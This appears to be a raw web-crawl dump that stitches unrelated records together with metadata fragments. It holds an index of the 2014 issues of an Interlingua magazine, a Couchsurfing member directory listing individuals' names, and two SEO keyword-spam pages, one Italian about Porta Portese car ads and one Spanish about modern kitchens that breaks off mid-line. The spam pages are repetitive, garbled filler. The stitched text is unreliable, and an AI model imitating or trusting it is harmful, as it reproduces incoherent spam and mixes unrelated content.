700.000 serraturas pendente. Felicemente nemo esseva ferite.||Th.||Nova|\n|7||Herede a Monaco||Th.||Nota|\n|7||Ebola occide 337 in Africa del West||Th.||Nota|\n|7||20 nove linguas in Alaska||Th.||Nota|\n|8||Francese deveni le Marx moderne||Spisse libro economic ha post breve tempore devenite bestseller in SUA.||Breinstrup, Thomas||Nova|\n|8||Plus que 50 mio. fugitivos||Th.||Nota|\n|9||Scepticismo ganiava in electiones del UE||Partitos que prefere limitar le collaboration in Europa se assecurava plus de sedes in le Parlamento Europee que se prepara pro eliger un nove commission in novembre.||Breinstrup, Thomas||Nova|\n|10||Nove vita retorna al sagas legendari||Le famose sagas islandese existe pro le prime vice completemente in le tres grande linguas nordic.||Breinstrup, Thomas||Nova|\n|11||Latino e greco plus popular in China||Le linguas classic pervive un renascentia in sempre plus de universitates.||Breinstrup, Thomas||Nova|\n|11||Forestes pro le benesser||Th.||Nota|\n|11||Le supercomputator es chinese||Th.||Nota|\n|11||Critica de vino in Internet||Th.||Nota|\n|12||Le prime salutes ha arrivate||Novas de interlingua|\n|12||15.000 phrases in interlingua||Novas de interlingua|\n|12||Nove poemas in YouTube||Novas de interlingua|\n|12||Ancora un timbro special||Novas de interlingua|\n|13||Grande septimana de interlingua in julio se approxima||Sex dies excitante attende le participantes in le grande arrangiamento estive de interlingua in Svedia.||Th.||Conferentia de interlingua|\n|14||Quiz||Madsen, W.||Quiz|\n|14||Interlingua in practica||Interlingua pro omnes||Interlingua in practica|\n|15||Manual famose in lingua no. 16||\"Interlingua – instrumento moderne de communication international\" in chinese||Th.||Libros|\n|15+16||Mammut deveni ancora plus grande||Piet Cleij: \"Dictionario interlingua-nederlandese\" (11me edition)||Th.||Libros|\n|16||Nove publicationes in interlingua||Libros|\n|16+17||Libros favorite del redaction pro le estate||Libros|\n|18||Nave mythic de Columbo trovate post 500 annos||Exploratores marin crede haber trovate le nave que portava Columbo a America.||Breinstrup, Thomas||Scientia|\n|19||Frigido terreva via le vikinges||Le mal climate pote explicar, proque le vikinges fugiva ab Groenlandia.||Th.||Scientia|\n|19||Pollution plus periculose||Beq||Scientia|\n|19||Infantes deveni lente||Beq||Scientia|\n|19||Infantes e le industria||Beq||Scientia|\n|20||Climate cambiava le historia del mundo||Le influentia del tempore al historia mundial ha essite multo plus grande que nos sape, monstra recercas.||Beq||Scientia|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Le homine con tres sposas||Parte 2 de \"Mille e un noctes\"||Notarstefano, Onofrio||Litteratura|\n|23||Nabuchodonosor||Krause, Catherine B.||Litteratura|\n|24||Mandela ante le parlamento||Th.||Le mundo actual|\n|24||Le plus vetere ha morite||Th.||Le mundo actual|\n|24||Tetris ha 30 annos||Th.||Le mundo actual|\n|24||Grandines enorme cadeva||Th.||Le mundo actual|\n|25||Timbro vendite pro 9,5 mio. dollars||Th.||Le mundo actual|\n|25||Radiation in scholas german||Beq||Le mundo actual|\n|25||Reductiones statounitese dole||Beq||Le mundo actual|\n|25||Statos vacilla del climate||Beq||Le mundo actual|\n|26||Securitate in le avion||Breinstrup, Thomas||Le parolas del mense|\n|26||\"... e illes ha ganiate!!!\"||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Julian Mendez||Novas de nomines|\n|28||Le Societate Svedese pro Interlingua||Novas de nomines|\n|28||Ingvar Stenström||Novas de nomines|\n|28||Metro||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 4\/2014, julio-augusto\n|1||Successo svedese||28 paginas super le conferentia international de interlingua.||Copertura|\n|1||In iste edition||Novas, reportos, presentationes, excursiones, festa, discussiones, reportages e multissime photos del grande arrangiamento combinate del 20me conferentia international de interlingua e 14te incontro nordic de interlingua in Svedia in julio.||Copertura|\n|2||Communication con ambition||Breinstrup, Thomas||Editorial|\n|3||Echo de interlingua va sonar globalmente||Le nove typo de conferentia e incontro nordic de interlingua deveniva sex dies active, cuje resultatos va monstrar se durante le veniente menses.||Breinstrup, Thomas||Conferentia de interlingua|\n|4||\"Hallo, nos presenta interlingua!\"||Conferentia de interlingua|\n|5||Novem nove films in septe linguas||Multe nove personas presenta interlingua e explica proque le lingua es si interessante e utile.||Th.||Conferentia de interlingua|\n|5||Dansatores cercava un publico||Th.||Conferentia de interlingua|\n|6||Xcursion xcellente||Th.||Conferentia de interlingua|\n|7||Un jubileo triple||Le qualitate es plus importante que le quantitate, diceva le presidente del Societate Svedese pro Interlingua, Barbara Rubinstein, in su benvenita al participantes.||Conferentia de interlingua|\n|8||Multe nove articulos in le Wikipedia||Mini-curso esseva sequite per labor practic de augmentar le Wikipedia in interlingua – e omnes pote scriber e adjutar pro dar lo qualitate.||Breinstrup, Thomas||Conferentia de interlingua|\n|9||Transmission directe ab le conferentia||Le famose autor de poesia in interlingua, Marcus Scriptor, deveniva parte de un experimento que crea nove possibilitates pro conferentias futur.||Breinstrup, Thomas||Conferentia de interlingua|\n|10||Editiones national del 2.500 parolas||Th.||Conferentia de interlingua|\n|10||Salutes ab tote le mundo||Th.||Nota|\n|10||Servicio touristic in interlingua||Th.||Nota|\n|11||Studios studiose||Th.||Conferentia de interlingua|\n|12||Interviews||Th.||Nota|\n|12||Un autumno con libros attende||Nove e-boteca aperira tosto.||Th.||Conferentia de interlingua|\n|13+14||Vesperes con musica e bon amicos||Conferentia de interlingua|\n|15||Plus de libros||Th.||Nota|\n|15||Transcription de presentation||Th.||Nota|\n|15||Experientias del conferentia||Th.||Nota|\n|15+16||Usa interlingua in Internet||Ecce un serie de ligamines interessante e utile pro vermente usar interlingua al computator e in Internet.||Conferentia de interlingua|\n|16||Nove novella||Th.||Nota|\n|16||Grecia, oh, Grecia||Th.||Nota|\n|16||Quiz litterari in Internet||Th.||Nota|\n|17||Collaboration baltic-nordic||Th.||Nota|\n|17||Libros pro omnes||Th.||Nota|\n|18||Preparationes pro 2015 e 2016 comencia ja ora||Proxime conferentia es investigate.||Breinstrup, Thomas||Conferentia de interlingua|\n|19||Le UMI debe esser effective e visibile||Plus de coordination e information in le organisation mundial.||Breinstrup, Thomas||Conferentia de interlingua|\n|19||Nove doctorato in interlingua||Th.||Nota|\n|20||Collaboration nordic plus intensive||Novas de interlingua|\n|20||Organisation svedese plus forte||Novas de interlingua|\n|20||Nove mini-incontro dano-svedese||Novas de interlingua|\n|20||Actualitates como edition thematic||Novas de interlingua|\n|20||Plus de activitates que expectate||Novas de interlingua|\n|21||Interlingua in universitate turc||Novas de interlingua|\n|22+23+24||Un democratia plus effective||Ruud Harmsen presentava le 31 de julio su idea pro alterar le systema de election e votation parlamentari, de tal modo que le voce de minoritates remane audite, ben que il deveni plus facile formar un cabinetto con assatis de appoio del parlamento.||Harmsen, Ruud||Conferentia de interlingua|\n|25+26||Un visita in le officina de poetas in interlingua||Litteratura|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Mats Fredmark||Novas de nomines|\n|28||Nils Kangas||Novas de nomines|\n|28||Kenneth Platter||Novas de nomines|\n|28||Alberto Mardegan||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 5\/2014, septembre-octobre\n|1||Argentino es le nove secretario general del UMI||Le communitate de interlingua debe collaborar pro facer interlingua plus visibile e plus usate, dice Julian Mendez, le nove secretario general del Union Mundial pro Interlingua desde le 1 de octobre.||Copertura|\n|1||Europa ancora unite post le prime lucta||Un majoritate del scotos votava \"no\" a independentia. Ora le oculos del europeos ha movite a Catalonia que discute un referendum in novembre.||Copertura|\n|1||Grande pionero de interlingua ha morite||Brian C. Sexton de Grande Britannia habeva 86 annos e contribueva enormemente al historia de interlingua.||Copertura|\n|1||Le gigante cresce||Enorme dictionario de interlingua es plus grande.||Copertura|\n|1||Multe anniversarios||Copertura|\n|2+3||Nove secretario general de Argentina: Nos debe collaborar e devenir visibile||Julian Mendez, 41 annos, ha laborate con interlingua durante multe annos e es ora secretario general del Union Mundial pro Interlingua.||Breinstrup, Thomas||Novas de interlingua|\n|4||Da un mano al nove secretario general!||Breinstrup, Thomas||Editorial|\n|5||Adeo a un pionero||Brian C. Sexton 1927-2013||Stenström, Ingvar||Necrologia|\n|6+7||Europa ancora unite post le prime lucta||Un majoritate del scotos votava \"no\" a independentia. Ora le oculos del europeos ha movite a Catalonia que discute un referendum in novembre.||Breinstrup, Thomas||Nova|\n|7||Supertraino in Scandinavia||Th.||Nota|\n|7||Albania candidato pro le UE||Th.||Nota|\n|7||Recyclage de plastico||Th.||Nota|\n|8||E-libros es popular||Th.||Nota|\n|8||19 paises in 24 horas||Th.||Nota|\n|8||Minus de interesse pro cornos||Th.||Nota|\n|8||20.000 elephantes occidite in 2013||Solmente circa 500.000 elephantes remane in Africa hodie, ma le autoritates ha devenir melior a confiscar le ebore illegal.||Breinstrup, Thomas||Nova|\n|9||Vikinges captura hereditage mundial||Le mundo debe cognoscer altere historias super le vikinges que illos super barbaros ebrie e terrificante.||Breinstrup, Thomas||Nova|\n|10||Le interlingua de un mundo quasi-perdite||Le judeo-germano quasi se perdeva.||Sorfleet, Richard W.||Nova|\n|11||Il non plus es un parve mundo||Le population de Africa pote crescer a plus que cinque milliardos.||Breinstrup, Thomas||Nova|\n|11||Francia da moneta pro bicyclar||Plus de bicyclistas reduce le consumption de energia.||Th.||Nova|\n|12||Curso gratuite in francese avantia||Novas de interlingua|\n|12||Curso anque apparera in portugese||Novas de interlingua|\n|12||Action informative in Lituania||Novas de interlingua|\n|12||Quasi 17.000 phrases preste||Novas de interlingua|\n|13||Magazin american deveni digital||Novas de interlingua|\n|13||Interlingua in radio universitari||Novas de interlingua|\n|13||Charmante fur gentilhomine attende||Novas de interlingua|\n|13||Jubileos romanian e finnese||Novas de interlingua|\n|13||Café Interlingua comencia de novo||Novas de interlingua|\n|14||90 annos: Leland B. Yeager||Th.||Novas de interlingua|\n|14||80 annos: Gilson Villas Bôas Passos||Th.||Novas de nomines|\n|14||70 annos: Klavs Neerbek||Th.||Novas de nomines|\n|15||60 annos: Claes Bredvad-Jensen||Th.||Novas de nomines|\n|15||60 annos: Barbara Rubinstein||Th.||Novas de nomines|\n|16||60 annos: Pawel Wimmer||Th.||Novas de nomines|\n|16||Karen Thinggaard ha morite||Th.||Novas de nomines|\n|17||Quiz in interlingua||Madsen, W.||Quiz|\n|17||Films in interlingua||Th.||Interlingua in practica|\n|18||Gigante cresce ancora||Piet Cleij: \"Dictionario interlingua-nederlandese\" (11me edition)||Breinstrup, Thomas||Libros|\n|19||Duo historias terrificante||Th.||Libros|\n|19||Sherlock Holmes in magazin||Th.||Libros|\n|19||Dictionario suppletive actualisate||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Reunion exceptional del Magna Carta||Le quatro copias remanente essera pro le prime vice demonstrate in commun.||Th.||Scientia|\n|21||Enorme tumba trovate in Grecia||Le archeologos ancora divina qui es sepelite in le construction enorme.||Th.||Scientia|\n|21||Trovata de Columba esseva false||Th.||Nota|\n|21||Nove Canal Suez||Th.||Nota|\n|21||Cometa passa Marte||Th.||Nota|\n|22||Grande catto antique trovate in Tibet||Th.||Scientia|\n|22||Squalos chassate||Beq||Scientia|\n|23||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|24||Porta al Inferno pro touristas||Th.||Le mundo actual|\n|24||Non assatis de capital pro Karl Marx||Th.||Le mundo actual|\n|24||Variola trovate in magazin||Th.||Le mundo actual|\n|24||Ille vole natar in tote le Rheno||Th.||Le mundo actual|\n|25||Linné le plus influential||Th.||Le mundo actual|\n|25||Autoportrait de un elephante||Th.||Le mundo actual|\n|25||Touristas ama Francia||Th.||Le mundo actual|\n|25||Nove record de calor in California||Th.||Le mundo actual|\n|25||Sensation in le mundo de pandas||Th.||Le mundo actual|\n|26||Animales in interlingua||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Barbara Rubinstein||Novas de nomines|\n|28||Almanac de interlingua||Novas de nomines|\n|28||Kenneth Platter||Novas de nomines|\n\n\nNo. 6\/2014, novembre-decembre\n|1||25 annos post le cadita del Muro||Milliones celebrava momento historic.||Copertura|\n|1||Nove presidente a UMI||Sven Frank quita le empleo pro rationes professional.||Copertura|\n|1||4 paginas con novas||Copertura|\n|1||Tourismo in periculo||Tanzania e Kenya suffre del chassa furtive.||Copertura|\n|1||Prolonge le musica||Copertura|\n|1||Calendario pro 2015||Copertura|\n|2+3||Milliones celebrava le cadita del Muro||25 annos post le cadita inexpectate del infame Muro de Berlin tote Europa commemorava le situation quasi miraculose in le vespere historic in 1989.||Breinstrup, Thomas||Nova|\n|4||Memorias e speros post le cadita del Muro||Breinstrup, Thomas||Editorial|\n|5||Le UMI debe haber un nove presidente||Sven Frank se retira pro dedicar se a su labor professional.||Breinstrup, Thomas||Novas de interlingua|\n|6||Chassa furtive menacia tourismo||Bandas criminal crea grande problemas in Africa del Est, proque illes fusila elephantes e rhinocerotes que le touristas veni pro vider.||Breinstrup, Thomas||Nova|\n|6||Controversias chinese||Th.||Nota|\n|7||Multe catalanos remaneva in casa||Le votation super independentia ganiava un grande majoritate, ma multes non appareva.||Breinstrup, Thomas||Nova|\n|7||Bacterio attacca oleo de olivas||Th.||Nota|\n|7||Marmore antique causa furor||Th.||Nota|\n|7||Successo con Orion||Th.||Nota|\n|8||Dies nordic promove linguas||Th.||Nota|\n|8||Museo Picasso reaperi||Th.||Nota|\n|8||Plus de anglese in le radio german||Le voce de Germania, Deutsche Welle, extende su emissiones, ante toto in anglese.||Th.||Nova|\n|9||Prolongation extreme de musica||Platter, Kenneth||Chronica|\n|10+11+12||Calendario de eventos e anniversarios||Nova|\n|12||Reliquia de Pompeii retornate||Th.||Nota|\n|12||Hungaria abandona taxa de Internet||Th.||Nota|\n|12||Regina Fabiola mori||Th.||Nota|\n|13||Copias del Turre Eiffel super toto||Le famose symbolo de Paris appare in tote le mundo e sembla esser le plus copiate in le mundo.||Breinstrup, Thomas||Nova|\n|13||Nove commission e gerentia del Union Europee||Th.||Nota|\n|14||Littera a europarlamentarios||Novas de interlingua|\n|14||Sparnia moneta per magazin digital||Novas de interlingua|\n|14||Alf Karlsson, Svedia, ha morite||Novas de interlingua|\n|14||Concerto in interlingua in Svedia||Novas de interlingua|\n|14||Cruciera primaveral in interlingua||Novas de interlingua|\n|14||Minicurso scandinave a expectar||Novas de interlingua|\n|15||Gratuite curso in duo nove linguas||Novas de interlingua|\n|15||2.500 parolas in francese||Novas de interlingua|\n|15||Seminario interne super interlingua||Novas de interlingua|\n|16||Manual famose appare in chinese||Th.||Novas de interlingua|\n|16||Correction||Novas de interlingua|\n|16||Café Interlingua preste pro 2015||Novas de interlingua|\n|16||17.500 phrases in interlingua||Novas de interlingua|\n|17||Interlingua in un vespere||Novas de interlingua|\n|17||Un nove lingua in 100 horas||Novas de interlingua|\n|18||Quiz in interlingua||Madsen, W.||Quiz|\n|18||Interlingua in practica||Die de Interlingua||Th.||Interlingua in practica|\n|19||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|20||Neanderthales plus intelligente||Discoperta monstra que le neanderthales habeva pensatas abstracte.||Th.||Scientia|\n|20||Autographo de Linné digitalisate||Th.||Nota|\n|21||Ursos polar dispare in multitudes||Le numero de ursos polar in Arctica es quasi reducite al medietate in le curso de dece annos.||Th.||Scientia|\n|21||Quinte burgo de vikinges trovate||Th.||Nota|\n|21||Mysterio de vampires solvite||Th.||Nota|\n|22||Huh, il non es facile addormir se...||Gaston Leroux: \"Duo historias terrificante\"||Platter, Kenneth||Libros|\n|22||Nove publicationes in interlingua||Libros|\n|23||Linguania – un conto in interlingua||Scriptor, Marcus||Litteratura|\n|24||Camelo photographia pro Google||Th.||Le mundo actual|\n|24||Cappello de Napoleon vendite pro 1,8 mio. euros||Th.||Le mundo actual|\n|24||Pannello de collo de 19 kilometros||Th.||Le mundo actual|\n|24||Panno pro le vaccas alpin||Th.||Le mundo actual|\n|24||Daneses le optime a parlar anglese||Th.||Le mundo actual|\n|25||Festa de jardin in centro capital||Th.||Le mundo actual|\n|25||Toreadores, uni vos!||Th.||Le mundo actual|\n|25||\"Guerras Stellar\" no. 7 a venir||Th.||Le mundo actual|\n|25||\"Primavera\" costa 65,1 mio. dollars||Th.||Le mundo actual|\n|26||Guai, non usa tal mal linguage||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Július Tomin||Novas de nomines|\n|28||Roberto Capuzzi||Novas de nomines|\n|28||Carlos Soreto||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.interlingua.com\/panorama\/indices\/anno_2014","date":"2017-02-25T09:29:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171706.94\/warc\/CC-MAIN-20170219104611-00502-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.9735860825,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.9735860824584961}","num_words":5074,"character_repetition_ratio":0.178,"word_repetition_ratio":0.043,"special_characters_ratio":0.261,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":6411.1,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas LC||Thomas Le Corre|\n|Thomas Lclr||thomas Le Corre|\n|Thomas Ld||Thomas Le Coupanec|\n|Thomas Le||Thomas Le Coz|\n|Thomas Le||Thomas Le Coz|\n|Thomas Le||Thomas LE COZ|\n|Thomas Le||Thomas LE COZ|\n|Thomas Le||Thomas Le Crouhennec|\n|Thomas Le||Thomas Le Diffon|\n|Thomas Le||Thomas Le Dluz|\n|Thomas Le||thomas LE DOZE|\n|Thomas Le||Thomas Le Dreff|\n|Thomas Le||Thomas Le Druillenec|\n|Thomas Le||Thomas Le Duc|\n|Thomas Le||Thomas LE FAOU|\n|Thomas Le||Thomas Le Fichant|\n|Thomas Le B||THOMAS LE FLANCHEC|\n|thomas Le baccon||Thomas Le Floc'h|\n|Thomas Le Bars||Thomas LE FLOC'H|\n|Thomas Le Baut||thomas le flochmoen|\n|Thomas Le Berre||Thomas LE FLOHIC|\n|Thomas LE BERRE||Thomas Le Forestier|\n|thomas le bigot||Thomas Le Galès|\n|Thomas LE BIHAN||Thomas Le Gall|\n|Thomas LE BIHAN||Thomas LE GALL|\n|Thomas Le Bihan||Thomas le Gall|\n|Thomas Le Bodic||Thomas Le Gall|\n|Thomas Le Bon||THOMAS LE GLOANIC|\n|thomas le bot||THOMAS LE GLOANIC|\n|thomas Le Boulch||Thomas Le gloannec|\n|Thomas Le Boulicaut||Thomas Le Goff|\n|thomas Le Bour||Thomas Le Goff|\n|Thomas Le Bourdonnec||Thomas LE GOFF|\n|Thomas Le Bourhis||Thomas Le Goff|\n|Thomas Le Bourhis||Thomas LE GOFF|\n|Thomas Le Bourse||Thomas Le Goff|\n|Thomas Le Bris||Thomas Le Gougaud|\n|Thomas LE BRISHOUAL||Thomas le Gourierec|\n|Thomas LE BRUN||Thomas Le Govic|\n|Thomas Le Brun||THOMAS LE GUEN|\n|Thomas le Buzulier||Thomas Le Guern|\n|thomas le callonnec||Thomas Le Guével|\n|Thomas Le Chenadec||Thomas Le Guillou|\n|Thomas Le Chêne||Thomas Le Guillou|\n|Thomas Le Chi Thanh||Thomas Le Helloco|\n|Thomas Le Clinche||Thomas Le Hen|\n|Thomas Le Colleter||Thomas Le hir|\n|Thomas Le Coq||Thomas Le Hir|\n|Thomas LE COQUIL||Thomas LE JEUNE|\n|Thomas Le Corps||Thomas Le Jeune|","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.couchsurfing.com\/directory\/T-29-1","date":"2018-06-21T13:26:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864148.93\/warc\/CC-MAIN-20180621114153-20180621134153-00413.warc.gz","language":"ina","language_score":0.576392293,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5763922929763794, \"fra_Latn_score\": 0.11557451635599136, \"hat_Latn_score\": 0.047603413462638855, \"tso_Latn_score\": 0.03128796070814133, \"frp_Latn_score\": 0.02476857788860798, \"nso_Latn_score\": 0.01826326921582222, \"nap_Latn_score\": 0.014588928781449795, \"smo_Latn_score\": 0.013497450388967991, \"vec_Latn_score\": 0.011111089028418064}","num_words":539,"character_repetition_ratio":0.288,"word_repetition_ratio":0.142,"special_characters_ratio":0.263,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.371,"perplexity_score":36352.5,"cluster_detection":-1} +{"text":"porta portese auto roma accessori autoveicoli roma grasso max a porta portese\nporta portese auto roma vintage eterno porta portese e banigliavintage\nporta portese auto roma fodere auto roma grasso max a porta portese\nporta portese auto roma immobili porta portese auto a roma mitula\nporta portese auto roma parcheggio in roma porta portese apcoa parking\nporta portese auto roma esplorando i mercati di roma rome central magazine city\nporta portese auto roma annunci roma porta portese\nporta portese auto roma porta portese il mercatino di roma\nporta portese auto roma porta portese autoaccessori l optional sulle barricate\nporta portese auto roma porta portese tutte le strade portano al mercato delle pulci\nporta portese auto roma portaportese annunci personali\nporta portese auto roma annunci gratuiti roma incontriwest net\nporta portese auto roma porta portese annunci auto usate roma\nporta portese auto roma porta portese in tutti i quartieri comune info\nporta portese auto roma roma sparita porta portese\nporta portese auto roma porta portese claudio baglioni roma citt 224 eterna doovi\nporta portese auto roma porta portese annunci gratuiti il primo portale di caroldoey\nporta portese auto roma porta portese auto usate roma myefox it\nporta portese auto roma annunci gratuiti roma hosianum edu pl\nporta portese auto roma riprendiamoci roma porta portese non e il nome di un\nporta portese auto roma porta portese archives roma sparita foto storiche\nporta portese auto roma porta portese\nporta portese auto roma porta portese auto usate roma myefox it\nporta portese auto roma la scorta di alemanno arresta un ladro di moto al mercato\nporta portese auto roma porta portese roma\nporta portese auto roma porta portese auto usate roma myefox it\nporta portese auto roma porta portese doovi\nporta portese auto roma vigili a porta portese blitz al mercato falso","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/royalkitchencabinet.com\/porta-portese-auto-roma.html","date":"2018-07-20T01:06:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591455.76\/warc\/CC-MAIN-20180720002543-20180720022543-00096.warc.gz","language":"ina","language_score":0.4222022891,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42220228910446167, \"ita_Latn_score\": 0.37308117747306824, \"por_Latn_score\": 0.02589508704841137, \"ile_Latn_score\": 0.02281983569264412, \"ghs_Latn_score\": 0.020344048738479614, \"lat_Latn_score\": 0.01670955680310726, \"lfn_Latn_score\": 0.016495397314429283, \"lvs_Latn_score\": 0.016269501298666, \"glg_Latn_score\": 0.011189182288944721}","num_words":471,"character_repetition_ratio":0.42,"word_repetition_ratio":0.152,"special_characters_ratio":0.162,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":26203.1,"cluster_detection":-1} +{"text":"Diseo Cocinas Modernassponsored links\ngood diseo cocinas pequeas modernas youtube diseos de cocinas pequeas with diseo cocinas modernas.\nbest cocinas modernas blancas inspirador idea farmhouse with soul pinterest with diseo cocinas modernas.\nstunning moderna cocina de madera de roble encimeras de madera diseo interiores diseo cocinas cocinas pequeas cocinas nrdicas cocinas modernas cocinas de madera with diseo cocinas modernas.\ngallery of diseos cocinas modernas with diseo cocinas modernas.\nlatest diseo cocinas modernas lamparas edor modernas para techo dise c bo with diseo cocinas modernas.\ntop hermosas cocinas azules para alegrar tu da alegrar azules cocinas hermosas with diseo cocinas modernas.\ncocinas modernas diseo de cocinas with diseo cocinas modernas.\ntop diseo cocinas modernas verde with diseo cocinas modernas.\ncocina moderna look with diseo cocinas modernas.\nexcellent decoracin diseo cocinas modernas decoracin cocinas con pennsula cocinas nrdicas cocinas blancas nrdicas cocinas blancas modernas blog estilo nrdico with diseo cocinas modernas.\ngallery of with diseo cocinas modernas.\ncheap diseo cocina con isla central with diseo cocinas modernas.\ngood diseo cocinas modernas cocina textil capuccino con granito amarillo santa cecilia with diseo cocinas modernas.\nbest cocina diseo cocinas integrales diseos cocinas modernas encimera cocina cambiar muebles de cocina with diseo cocinas modernas.\ndecoracin diseo cocinas modernas decoracin cocinas con pennsula cocinas nrdicas cocinas blancas nrdicas cocinas blancas modernas with diseo cocinas modernas.\nfabulous abimis un nuovo progetto italiano d forma alla passione per cucinare social design magazine marcas de with diseo cocinas modernas.\ndiseo cocina moderna color celeste with diseo cocinas modernas.\naffordable diseo cocinas modernas fresco muebles modulares pp with diseo cocinas modernas.\nsimple diseo cocinas modernas with diseo cocinas modernas.\ngreat cocinas forma diseno cocina moderna color isla ideas with diseo cocinas modernas.\nstunning diseno cocina en l of cocina moderna de concepto abierto decoracion cocina of diseno cocina en with diseo cocinas modernas.\ndiseo cocina pequea moderna muebles with diseo cocinas modernas.\nsimple d kitchen sample production image iluminacin de cocina moderna diseo de with diseo cocinas modernas.\ndiseo cocinas modernas para loft with diseo cocinas modernas.\ncheap pin de catalina ortiz gaete en black en pinterest cocinas diseo cocinas modernas y cocina minimalista with diseo cocinas modernas.\nawesome youtube premium with diseo cocinas modernas.\ndiseos cocinas modernas with diseo cocinas modernas.\nawesome fotos ideas para decorar casas decoracion de cocinas modernas with diseo cocinas modernas.\nsimple cocinas rio fue en casadecor con un trabajo al milmetro y hecho with diseo cocinas modernas.\ndiseo cocinas modernas diseno cocina americana ideas de disenos ciboney net modelos cocinas with diseo cocinas modernas.\ngreat diseo interior de la cocina moderna with diseo cocinas modernas.\naffordable diseo cocina moderna color celeste with diseo cocinas modernas.\ndiseo cocinas pequeas baratas with diseo cocinas modernas.\nbest isla de cocina moderna bar ikea y granito encimeras para las foto de cocina moderna de with diseo cocinas modernas.\nawesome muebles de cocinas modernas pequeas y baratas amazon with diseo cocinas modernas.\nbonito diseo cocina moderna with diseo cocinas modernas.\ngood vista desayunador cocina in pinterest cocinas cocinas modernas and diseo cocinas modernas with diseo cocinas modernas.\nstunning cocina moderna with diseo cocinas modernas.\nawesome cocinas modernas y productos y servicios de diseo cocinas with diseo cocinas modernas.\nmodelos de cocinas modernas imgenes diseo cocina color azul with diseo cocinas modernas.\ndiseo cocinas modernas lujo fear not if you use suelos para casas modernas the right way with diseo cocinas modernas.\nelegant estupendo diseo cocina sillas naranja with diseo cocinas modernas.\ncocinas modernas espacios peque os lima peru dise os for decoracion de cocinas en espacios pequenos of diseo cocina pequea dise os de cocina en espacios with diseo cocinas modernas.\nwith diseo cocinas modernas.\ndiseo cocinas modernas imagenes de cocinas modernas ideas inspiraci n e im genes homify with diseo cocinas modernas.\ndiseo cocina moderna madera escaleras with diseo cocinas modernas.\ntop diseo cocina moderna pared negra with diseo cocinas modernas.\nfree diseo cocinas modernas cocinas modernas tendencias en dise o de keepler integrales with diseo cocinas modernas.\nsimple diseo cocinas with diseo cocinas modernas.\nsimple bm diseo cocina tendencia tradicional las condes with diseo cocinas modernas.\nfabulous diseo cocinas modernas with diseo cocinas modernas.\nsimple programa diseo cocinas elegante diseo cocinas modernas lo mejor de ideas with diseo cocinas modernas.\ngreat diseo cocinas modernas para loft compartir with diseo cocinas modernas.\ntop diseo cocinas modernas los fascinador disea tu cocina idea por morada diseno interior with diseo cocinas modernas.\namazing cocinas modernas with diseo cocinas modernas.\nbest disenos de cocinas modernas que impactan diseo cocinas modernas with diseo cocinas modernas.\ndiseos cocinas blancas modernas with diseo cocinas modernas.\nawesome diseo cocinas modernas diseo cocinas modernas decoracion de cocinas modernas con dise o trucos para with diseo cocinas modernas.\ndiseos de cocinas modernas en blanco y negro casa y color with diseo cocinas modernas.\namazing youtube premium with diseo cocinas modernas.\ngallery of diseos cocinas modernas y pequeas with diseo cocinas modernas.\ncheap cocina diseo cocina cocina moderna cocina de diseo cocina de austin austin austin oeste de la with diseo cocinas modernas.\nstunning diseo cocinas modernas diseo cocinas modernas excelente luces para cocinas modernas l c amparas de with diseo cocinas modernas.\ncocinas modernas with diseo cocinas modernas.\ngreat cocina moderna en ceramica with diseo cocinas modernas.\ntrendy diseo cocina d cocinas diseo d images cocinas modernas en melamina with diseo cocinas modernas.\ndiseo cocina decorar la cocina diseo de muebles with diseo cocinas modernas.\ncool diseo cocinas modernas diseo cocinas modernas decoracion de cocinas modernas con dise o trucos para with diseo cocinas modernas.\nexcellent diseo cocina moderna luces led with diseo cocinas modernas.\nfabulous cocina girasol diseo de cocina cocinas integrales de madera diseo cocinas modernas with diseo cocinas modernas.\nfree diseo cocina moderna muebles negros with diseo cocinas modernas.\nfinest cocinas modernas diseo de cocinas with diseo cocinas modernas.\ndiseo cocinas modernas cocinas pequenas modernas decoracion de cocinas pequenas decorar la cocina with diseo cocinas modernas.\ndiseo cocina decorar la cocina diseo de muebles with diseo cocinas modernas.\nperfect increble diseo y modelo de cocinas modernas by with diseo cocinas modernas.\nlatest related image muebles de cocina diseo de cocina cocinas pequeas cocina comedor with diseo cocinas modernas.\ndiseo cocina moderna pared cemento with diseo cocinas modernas.\nawesome cocinas rio fue en casadecor con un trabajo al milmetro y hecho with diseo cocinas modernas.\nexcellent diseo cocinas modernas diseo cocinas modernas cocinas en peque os espacios con disenos cocinas cocinas with diseo cocinas modernas.\nlatest diseo cocina moderna blanco madera with diseo cocinas modernas.\nsimple bonito diseo cocina moderna with diseo cocinas 